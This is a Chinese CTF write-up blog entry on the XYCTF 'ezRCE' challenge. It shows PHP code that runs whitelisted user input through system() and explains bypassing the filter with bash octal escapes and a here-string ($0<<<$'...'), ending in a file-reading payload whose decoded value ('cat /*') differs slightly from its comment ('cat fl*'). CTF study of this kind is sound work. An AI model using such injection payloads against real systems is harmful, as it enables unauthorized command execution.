Web命令执行笔记
会将web命令执行的题目放到这篇博客来记录,方便自己日后查阅。
XYCTF-ezRCE(只允许数字、$、<、\)
<?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);
- 八进制转义序列: 八进制转义序列以反斜杠
\
开头,后面跟着一到三个八进制数字(0-7)。例如,\101
表示ASCII字符'A'(十进制的65)。 - 十六进制转义序列: 十六进制转义序列以
\x
或\X
开头,后面跟着一到两个十六进制数字(0-9,A-F,a-f)。例如,\x41
或\X41
都表示字符 'A'。
$'\154\163'
就可以执行ls命令,第一个$用来转义,后面是ls
<<<
:这是 Bash 中的 "here string" 语法,它允许你将一个字符串传递给一个命令作为输入,而不是从文件中读取或作为命令行参数。
$0<<<'ls'
$0<<<$'\154\163'
#第二行比第一行多一个$,这个$是转义的意思。
$0其实就是脚本本身的名字,在命令行中,它一般是bash
所以$0<<<$'\154\163'
其实就是bash<<<$'\154\163'
这行代码 bash<<<$'\154\163'
是在Bash shell中使用Here String的一种方式,用于向Bash直接传递一个包含转义序列的字符串作为输入。
bash
: 指的是Bash shell本身,这里作为接收输入的命令。<<<
: Here String操作符,它允许你将跟在其后的字符串作为命令的标准输入。$'...'
: 这种引号内的字符串允许使用C语言风格的转义序列。\154
和\163
分别代表ASCII码的八进制表示,对应字符'l'(小写的L)和's'。
因此,$'\154\163'
解释后就是字符串 "ls"。所以整行命令的意思是直接通过Bash执行字符串 "ls" 作为命令输入,等同于在终端直接输入 ls
命令,通常用于列出当前目录下的文件和目录。
?cmd=$0<<<$'\143\141\164\040\057\52'
#就是在执行$0<<<'cat fl*'
更多用法和更详细的解释:https://xz.aliyun.com/t/12242
标签:Web,笔记,转义序列,更新,命令,ls,字符串,八进制,Bash From: https://www.cnblogs.com/xiaochange/p/18169989